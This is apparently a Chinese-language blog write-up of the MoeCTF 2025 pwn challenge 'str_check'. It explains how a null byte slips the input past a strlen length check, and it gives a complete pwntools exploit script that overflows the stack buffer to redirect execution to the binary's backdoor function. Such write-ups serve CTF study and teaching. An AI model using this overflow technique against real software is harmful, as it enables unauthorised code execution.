str_check

moectf2025str_check (2).png

main函数:

moectf2025str_check.png

题目有后门函数,我们看main函数,首先,我们可以通过scanf读入25字节,然后往n输入一个整数,然后会用strlen来检测str的长度,不能超过24字节,然后通过strncmp判断我们输入的str的前四字节,这个相等返回0,我们进入memcpy,把str的内容复制到dest中,不相等触发strncpy复制,memcpy是往dest复制str的前n个字节,而strncpy多了一个条件,就是如果遇到\x00就停止复制,没遇到就和memcpy一样

首先这里是有栈溢出漏洞的我们可以输入255字节到str,然后复制到dest,dest到返回地址是少于255字节的。

我们要触发这个栈溢出要先绕过strlen对str的长度检测,我们要知道,strlen是在遇到\x00停止,而我们输入的scanf遇\x00不停止,遇到空白字符(空格、回车、制表符)作为结束标志,那我们就可以在输入str的时候加一个\x00来绕过这个长度检测,然后我们要在开头写meow通过进入memcpy,因为前面提到strncpy会遇到\x00截断我们的复制,然后就正常栈溢出就行。

EXP:

from pwn import *
import sys
context(arch='amd64', os='linux')

file_name = './pwn'

elf = ELF(file_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1

if switch:
    target = ''
    port   = 0
    p = remote(target, port)
else:
    p = process(file_name)

if debug:
    context(log_level='debug')

if gdb_ and switch == 0:
    gdb.attach(p)
    pause()

s    = lambda data                : p.send(data)
sa   = lambda delim, data         : p.sendafter(delim, data)
sl   = lambda data                : p.sendline(data)
sla  = lambda delim, data         : p.sendlineafter(delim, data)
r    = lambda numb=4096          : p.recv(numb)
ru   = lambda delim, drop=True   : p.recvuntil(delim, drop)
rl   = lambda                    : p.recvline()
lg   = lambda name, data         : log.success(name + ': ' + hex(data))
uu64 = lambda data                : u64(data.ljust(8, b'\x00'))

#################################################################################
ret = 0x40101a
backdoor = 0x401236
payload = flat([
    b'meow',
    b'\x00',
    b'A' * (0x28 - 0x5),
    ret,
    backdoor
])
sla(b'What can u say?',payload)
sla(b'So,what size is it?',b'256')
p.interactive()

题目链接:

CTF-Writeups/MoeCTF2025/str_check at main · Zenquiem/CTF-Writeups


str_check
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-IL3KHtwK
作者
ZenDuk
发布于
2025年12月27日
许可协议